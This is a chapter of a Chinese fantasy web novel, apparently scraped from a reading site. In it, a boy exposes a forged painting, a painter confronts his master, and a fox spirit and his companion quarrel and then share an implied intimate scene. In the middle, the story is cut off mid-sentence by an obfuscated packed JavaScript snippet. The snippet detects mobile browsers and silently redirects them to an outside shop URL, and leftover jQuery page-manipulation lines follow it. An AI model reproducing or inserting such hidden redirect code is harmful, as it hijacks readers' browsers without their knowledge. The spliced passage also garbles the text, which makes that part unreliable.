董子姜一直在想,离开了驿站,离开了二叔,自己想做什么。
一路上走走停停,他也见证过许多自己从前从未体会到的美好。
很多好看的风景,是住在驿站时没有的。
也许他会希望自己一直走下去,一直旅行?
这个让人迷茫的问题,叫一个不过才十几岁的少年陷入自我怀疑。
难道自己离开了熟悉的地方,就什么都做不好吗?
沉闷了整整半个多月,最近天气很好,他也终于有心情出门走一走。
这座城市并不算大,却也不算小,足够容纳许多阿姜从没见过的新鲜玩意。
街角有人耍枪弄棒,有人的嘴巴里可以吐出火,还有很多好吃的好玩的,活了十几年,这些他全都是第一次见到。
小小的少年对这个新世界充满了好奇,他觉得自己就好像一簇飘零的蒲公英,开始期待自己可以在这样热闹的地方埋下种子。
他在一个画摊前停下了。
摊前铺着素色麻布,大大小小的画卷错落摊开,风一吹,纸页轻轻翻卷,墨香混着松烟气息扑面而来,是没有怎么闻过的清雅味道。
远山以淡墨晕染,层层叠叠隐在薄雾里,溪涧流水似能听见叮咚声响;仕女眉眼温婉,衣袂清软如云。
孤舟寒林、杏花村舍,意境无限。
驿站的附近只有树接树,来来往往的过客,宛若青烟,不曾留下点什么。
这般藏尽风月山河的景致,只在眼前画卷之中才得以窥见,少年全然不觉,满心满眼,只剩下纸上流转的细腻笔触。
他就那样站在画摊前,一站便是许久。
守摊的是个穿浅蓝色长衫的年轻人,见这小少年如此喜欢这些画作,便也没有出声打扰。
来往行人擦肩,叫卖声、车马喧嚣全都隔在耳边,天地之间只剩满摊清浅墨色。
目光一遍遍地付过纸上山峦烟霞,想起驿站里养着的那匹清瘦的老马,竟暗暗琢磨若是落于纸上,该用几分淡墨晕染才好看。
阿姜半点不曾察觉心底翻涌的欢喜,只当觉得画好看。
他的胸口隐隐漾开一种从未有过的妥帖悸动,只当是见了稀罕物件的新奇。
直到摊子迎来了今天第一笔买卖,年轻人才不得不请他稍作挪动。
“你这画是假的。”
他指着客人挑中的这幅墨宝,毫不客气地开口。
其他两人皆是怔愣在原地,年轻人只当是个来捣乱的小孩,便玩笑道:“我这画若是假的,你撕了去!”
谁知道这小孩是个当真的。
原本讲好的三千两的名画,就这样变成两片一文不值的残页。
年轻人不服气,拉着人讨要说法,少年却不慌不忙,在题的诗上用朱笔圈画。
事实证明,这画的确是假的。
年轻人感到不可置信,这幅画,分明就出自于自己的师父之手!
师父怎么可能会把自己画作的赝品拿来让他售卖呢?
今日败兴,只得早早收摊。
小摊后是一间平房,虽然有许多话憋在心里,着急想找到一个发泄口,他还是把摆在外面的画全都妥帖收了回去。
直到忙完一切,他才带着满腹疑问,还有满心的愤愤与委屈,跪在纱幔外的蒲团上。
“师父。”
年轻人就连语调里都是遭到欺骗后的不甘与别扭。
墨香。
每天房间里都充斥着这种味道,师父很久才会作一幅画,其余时间都在磨墨。
轻纱笼住床榻,中间搁着一方书案,老人半倚软枕,身上裹着一件旧袍,咳喘时不时从帐内溢出。
枯槁修长的手覆在砚上,指尖留着一截干净修长的指甲,衬得手骨愈发单薄。
他目不能辨砚池深浅,只稳稳攥住墨锭,动作慢得几乎凝滞。
一圈,又一圈,磨墨的声音细缓绵长,每转半圈便顿一顿,借着微弱腕力缓缓推送,不急不躁。
“师父,您老人家莫要与我装糊涂,方才外头的声音您也听见了。”年轻人很委屈,似是马上要掉下泪来,却也跪得无比恭敬。
他的确想不通,分明这画就是出自自己师父之手,画师怎么可能认不出自己作品的真假?
可画上的题诗是王乔山专门为此画而作,是首笔,更不可能出错字的纰漏,但这画的的确确是假的。
沉默了许久的老人终于开口,却并未谈及此事,“方才门口同你吵闹的小娃娃,倒是有一双慧眼。”
“师父!”他气愤。
“默儿,此事就莫要再提了。”
“......”
董子姜回到客栈后便把自己锁在房间里。
他有点心不在焉。
“阿珠!快把我气死了!你看见那小子的臭脸了没!”
己绛带着一肚子怨气,气冲冲地一屁股在板凳上坐下,整张脸都皱巴巴的。
“怎么了这是?你们两个......”
“我看他就是狗咬吕洞宾,不识好人心!我方才,我方才......”己绛这下是真的气到了,他长这么大,也没见过这么不识好歹的家伙,差点给他气得一口气没顺上来。
话还没说完,己绛突然就开始连连打嗝,本来就生气,这下直接变成委屈宝宝了,直接扑进阿珠怀里,开始抽抽搭搭。
容青弃被弄得满头雾水,只能先哄。
原本还没那么难受的,一回忆方才的事,便又想到算命老头说的那些话,哭得越来越凶。
“我们小狐狸怎么能这么委屈?”容青弃抱住他,摸摸他头发,试图把这只小动物安抚下来。
“......烦死了!”
“那我们阿绛告诉我嘛。”
容青弃的声音放得很柔很柔,己绛的心就像是被羽毛尖儿挠过似的,身体因为难过的抖动幅度才慢慢变小。
在她怀里,小狐狸才能真正得到被包容的安全感。
他擦擦眼角的小珍珠:“方才我看他被人欺负,就想帮他撑腰,结果他居然说我是在跟踪他!你看我像很闲的样子吗!”
“我哪有心情管他一个臭屁小孩的事!你快给我评评理!气得我心口疼!”
“哎呀......别生气了嘛......”
容青弃笑嘻嘻地抬起他下巴,一只纤手从他衣领往下探,指尖轻划过一颗饱满的莓果。
被他这么一弄,己绛顿时呼吸停止,耳朵一瞬间就红了。
这下哪里还顾得上生气,更是没心思委屈,娇哼两声,小脸彻底埋入她□□。
哪有这样的......
阿珠真是的,怎么突然间就变坏了......每次都弄得人猝不及防。
......
酣畅淋漓地度过了一整个中午和下午之后,小狐狸才从她身上爬起来,张罗着弄洗澡水。
容青弃彻底懒得动弹,两只眼睛勉强睁开一条缝隙,看着某个老农背对着她穿衣服。
“你怎么不直接用法术穿啊?”她抬起一只胳膊,撑起脑袋盯着他宽阔的脊背。
听到这句话,己绛回头看向她,狡黠一笑,这一笑眉眼弯弯,轻巧灵动,带着一丝挑逗。
“不这样一件一件慢慢穿,怎么勾引阿珠多看我几眼呢?”
完全没料想到这家伙会这么说,床上的人小脸刷一下就红成个苹果。
己绛的眼神大胆又热烈,弄得容青弃左右不是,干脆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696475|207221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一整个人藏进被窝里当起缩头乌龟来。
真是的,脸颊都快冒烟了。
此刻的己绛神清气爽,走路都开始大跨步,今天积攒的所有怨气和不舒服全部烟消云散。
吩咐小二准备热水之后,他开始寻思晚上给阿珠买点什么好吃的。
一转头,却看见今天早上和臭屁小鬼有过口角的年轻人正站在大堂里四处张望,像是在找人。
己绛顿时生出几分警惕,不动声色地观察着他。
不会吧?多大的人了,还追着一个小孩不放,不会铁了心要讹钱吧?
“公子,你要的热水烧好了,给你送到哪个房间啊?”
店里小二说话嗓门大,一张嘴整个大堂的人都能听得一清二楚。
己绛心里想坏菜了。
果不其然,那年轻人的目光短暂投过来,一下子又挪走,想起什么,又把视线挪回他身上。
己绛心里没由来的慌乱,开始手忙脚乱想找个地方钻进去。
“这位公子。”
温和的声音响起,己绛彻底避无可避,只好硬着头皮迎上去。
他故意装作一副极其不耐烦的模样,拉高了音调,让自己的声音听起来像个地痞,“怎?找小爷有事?”
年轻人见他这幅样子,瞪直眼,顿了顿,但下一刻便恢复正常。
“啊,别误会,我没想干什么,只想同你打听一下今早与你同道的那个小友。”
果然是来找茬的。
“不是说了你的画就是假的了吗?还想从一个小孩身上讹钱?!”
见被他误会,还有那副气势汹汹的模样,年轻人立马摆手,忙道:“不不不,我现在来是专程道歉的,打听了一路才找到这里,另外还有些事,想当面同他说。”
听他这一番说辞,己绛还是狐疑地打量着他,这才几个时辰的功夫,这人就能变脸这么快?
虽然说他很讨厌那个小鬼,但是既然阿珠答应了人家家里人要好好照顾,那他就不能含糊,更何况,看着一个小孩被外人欺负,良心上也说不过去。
年轻人满脸写着焦急,目光恳切,生怕对方真觉得自己是那种别有用心之徒。
不过万一真是来道歉的怎么办?他这么拦着岂不是无端碎了别人的一片赤诚之心?
己绛认真思考片刻,又来来回回地打量他,像是要把人看个透彻。
最后还是决定帮这个忙。
“......那你等着吧,别让我看到你耍花招。”
“真是多谢公子了!”
年轻人看着他上了二楼,心里的大石头总算落下,也松了口气。
董子姜特地给自己挑了一间最偏僻的屋子,己绛是怎么也想不明白,这人性格怪就算了,做事也这样。
刚要敲门,己绛猛然想到,自己跟这臭小孩还在冷战中啊!
这样搞得他主动和好一样,太掉价了吧!
不行不行......
己绛在门口来回徘徊,艰难决定这门自己要不要敲。
一个声音告诉他,他又不是这小孩的奶娘,事事都帮他,人又不是来找自己的,他凭什么当个传信书童啊!
不成不成。
想到这点,他转头,刚要走。
另一个声音及时冒头:谁让你仁义呢!做好事不求回报,说到底了自己和一个和自己差一百多岁的小孩计较没意义。更重要的是!要是真有什么事,阿珠不得把他扒层皮。
扣扣扣——
扣扣扣——
扣扣扣——
门敲了三下,门依旧没开。
己绛已经开始有些不耐烦,这是闹哪样!
到底在闹什么小少爷脾气!不开门!没礼貌!